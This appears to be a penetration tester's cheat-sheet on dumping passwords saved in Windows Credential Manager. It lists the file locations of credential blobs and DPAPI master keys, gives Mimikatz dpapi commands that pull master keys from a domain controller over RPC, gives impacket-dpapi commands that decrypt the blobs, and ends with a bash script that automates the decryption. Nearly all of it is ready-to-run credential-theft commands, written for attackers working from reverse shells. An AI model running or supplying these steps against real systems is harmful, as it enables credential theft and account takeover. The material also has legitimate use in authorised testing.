Dumping Passwords from Windows Credential Manager
Credential Enumeration
cmdkey /list
In reverse shells, I have noticed that it's impossible to spawn processes usingĀ runas.exe /savecred /user:DOMAIN\username if the credential is stored in Windows Credential Manager.
That said, we may still be able to dump the password using the Mimikatz dpapi module, which is how these credentials are protected.
Common Locations for Cached Credentials
# Legacy CMD Environment Variable
"%USERPROFILE%\AppData\Local\Microsoft\Credentials"
"%USERPROFILE%\AppData\Roaming\Microsoft\Credentials"
# PowerShell Environment Variable
"$env:USERPROFILE\AppData\Local\Microsoft\Credentials"
"$env:USERPROFILE\AppData\Roaming\Microsoft\Credentials"
ls -r -force -ea silentlycontinue ~\AppData\Local\Microsoft\Credentials\ | select -expand fullname
ls -r -force -ea silentlycontinue ~\AppData\Roaming\Microsoft\Credentials\ | select -expand fullname
Enumerate any stored credentials
Common Locations for Encryption Keys
# Legacy CMD Envrionment Variables
"%USERPROFILE%\AppData\Local\Microsoft\Protect"
"%USERPROFILE%\AppData\Roaming\Microsoft\Protect"
# PowerShell Environment Variables
"$env:USERPROFILE\AppData\Local\Microsoft\Protect"
"$env:USERPROFILE\AppData\Roaming\Microsoft\Protect"
ls -r -force ~\AppData\Roaming\Microsoft\Protect\ | ? { $_.Name -notin $('CREDHIST', 'Preferred', 'SYNCHIST') } | select -expand fullname
Enumerate any stored keys
Use Mimikatz to Unprotect DPAPI Data
Cache Master Keys
mimikatz # dpapi::masterkey /rpc /in:C:\Users\user_name\AppData\Roaming\Microsoft\Protect\S-1-5-21-1199398058-4196589450-691661856-1107\191d3f9d-7959-4b4d-a520-a444853c47eb
mimikatz # dpapi::masterkey /rpc /in:C:\Users\user_name\AppData\Roaming\Microsoft\Protect\S-1-5-21-1199398058-4196589450-691661856-1107\10811601-0fa9-43c2-97e5-9bef8471fc7d
mimikatz # dpapi::cache
Make RPC call to domain controller to retrieve master key when password is unknown
Unprotect Cached Credentials
mimikatz # dpapi::cred /in:C:\Users\user_name\AppData\Roaming\Microsoft\Credentials\84F1CAEEBF466550F4967858F9353FB4
Go through each cached credential file and attempt to unprotect it using the cached encryption keys
Using Impacket to Unprotect DPAPI Data
Transfer Files to Attack Box
Following the enumeration steps above:
Use one of the file transfer techniques here to transfer the files to your attack box.
impacket-dpapi
You can find the user SID in the output of the whoami /all command.
impacket-dpapi masterkey -file 99cf41a3-a552-4cf7-a8d7-aca2d6f7339b -sid S-1-5-21-4024337825-2033394866-2055507597-1115 -password 'P@$$word1!'
Decrypt the master key using the user SID and user password
impacket-dpapi credential -file C4BB96844A5C9DD45D5B6A9859252BA6 -key '0xf8901b2125dd10209da9...[snipped]...'
Having decrypted the master key, use it to try and read a credential blob
Use Bash to Automate Decryption
Create directories to store the master keys and credential blobs. Then, copy each type of file to their respective location.
mkdir -p /tmp/dpapi/keys /tmp/dpapi/creds
- Master key files are named in UUID4 format
a20ef865-8ed4-409b-9786-84f7f84d1541for example- Place any files containing master key data in the path set in
KEYS_DIRECTORYin the script
- Credential blob files are one long hexadecimal string
DFBE70A7E5CC19A398EBF1B96859CE5Dfor example- Place any files containing credential data in the path set inĀ
CREDS_DIRECTORYin the script
Effectively, this script is just going one by one through the master keys and trying to decrypt them with the user password. If the key is decrypted, try and read the credential blobs with the master key.
#!/usr/bin/env bash
USER_SID="S-1-5-21-4024337825-2033394866-2055507597-1115"
USER_PW='P@$$word1!'
KEYS_DIRECTORY='/tmp/dpapi/keys'
CREDS_DIRECTORY='/tmp/dpapi/creds'
for keyfile in $(ls "${KEYS_DIRECTORY}"); do
decrypted_key=$(impacket-dpapi masterkey -file "${KEYS_DIRECTORY}/${keyfile}" -sid "$USER_SID" -password "$USER_PW" |
grep -E '0x[0-9a-f]{2,}' |
cut -d ' ' -f 3)
if [ -n "$decrypted_key" ]; then
for credfile in $(ls "${CREDS_DIRECTORY}"); do
impacket-dpapi credential -file "${CREDS_DIRECTORY}/${credfile}" -key "$decrypted_key"
done
fi
done
References
https://www.thehacker.recipes/ad/movement/credentials/dumping/dpapi-protected-secrets
https://tools.thehacker.recipes/mimikatz/modules/dpapi/masterkey
https://github.com/gentilkiwi/mimikatz/wiki/howto-~-credential-manager-saved-credentials